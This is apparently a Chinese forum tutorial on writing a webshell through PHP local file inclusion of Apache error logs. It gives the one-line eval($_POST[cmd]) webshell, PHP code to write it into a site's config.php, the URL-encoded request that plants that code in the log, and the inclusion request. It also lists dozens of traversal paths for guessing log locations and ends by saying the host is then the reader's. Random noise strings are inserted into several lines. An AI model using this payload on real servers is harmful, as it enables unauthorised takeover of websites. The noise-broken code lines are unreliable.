php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
) A" ^; ~6 v( {* }1 l: s) ~" gfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
* W" i/ w5 C- i: \  yfclose($fp);?>   //在config.php里写入一句木马语句
0 P- b0 e  W  o% ?  D7 w
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
# W+ P; Q( {3 t! z+ B) Q& z转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
3 T, Z4 V% l$ F1 ]; E/ U4 Iconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
( Q/ D" b* X; ?0 {/ Y+ b4 yhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
0 \& w& ~6 Q; X) e* t; W( W$ v0 |/ o%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
5 c* }! i- c" G3 X6 y%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
; R' ^2 p: Q6 P3 Fcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
& B9 {9 r- k4 m我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
& Z$ v. |5 H0 x9 T1 P
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
; {* v& `# d' C7 u
& t6 _8 M: h0 F4 z+ r) ], E: K其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
3 L- f, h  i% j( U0 R../../apache/logs/error.log
../../apache/logs/access.log
- x# R2 H7 \& I/ O- l2 s../../../apache/logs/error.log
../../../apache/logs/access.log
  j. V1 X6 K& ~' m% a! H../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
' Q( a, H& r7 ^: }6 v4 V# q../../../../../../../../../../etc/httpd/logs/error_log
' O, U; v/ `1 C1 v../../../../../../../../../../etc/httpd/logs/error.log
7 M# i! J  }8 Q9 _- ?& F% \; U../../../../../../../../../../var/www/logs/access_log
0 n! H+ L) \! [( o../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
# E, ^6 _7 ^- u' |1 r1 R* J../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
, P. X) b* q+ n  B# N$ [- a7 V../../../../../../../../../../var/log/apache/access.log
: m% C* n7 q; F; k../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
. p" M8 x9 ^; H4 k5 Q../../../../../../../../../../var/log/access_log
5 X1 ?0 b% |, _' x# i../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
) m/ ?& q8 ^$ D' E0 V4 q* s3 K/var/log/httpd/error_log     
../apache/logs/error.log     
; L* D# R: k8 M1 O- f" f! b: L! w../apache/logs/access.log
# ]- q2 v# i$ u' ~, b' i../../apache/logs/error.log
- i% ?- {) L$ o. b: h../../apache/logs/access.log
9 z- E0 {: Q' }2 W; g6 `* ^../../../apache/logs/error.log
/ `- p: S* Q: I5 ?% ^  Y6 W../../../apache/logs/access.log
0 q4 V, x3 D3 b+ f+ ^/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
8 V* J$ F+ d, a6 e/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
+ k+ n3 |% ^- c$ a- W) G: e/var/www/logs/access_log
; ?6 O) V" V5 T. k! b8 C5 v, R/var/www/logs/access.log
7 f7 T; Q- ?- x7 f8 ?/usr/local/apache/logs/access_log
' r( F& o! g  y1 o) G8 k! n. k, I/usr/local/apache/logs/access.log
/var/log/apache/access_log
& V4 v% S, H2 K- C6 n8 N/var/log/apache/access.log
4 e# F( p0 K; F2 h' h+ R6 o/var/log/access_log
- |. k3 p4 u! H/var/www/logs/error_log
/var/www/logs/error.log
6 d, h1 K1 L' o  W% p* c) K3 {' }5 [/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
9 o; T/ ]/ v) W1 r% g/var/log/apache/error_log
/var/log/apache/error.log
" [3 [) {- w$ ~3 a- q4 s/var/log/access_log
/var/log/error_log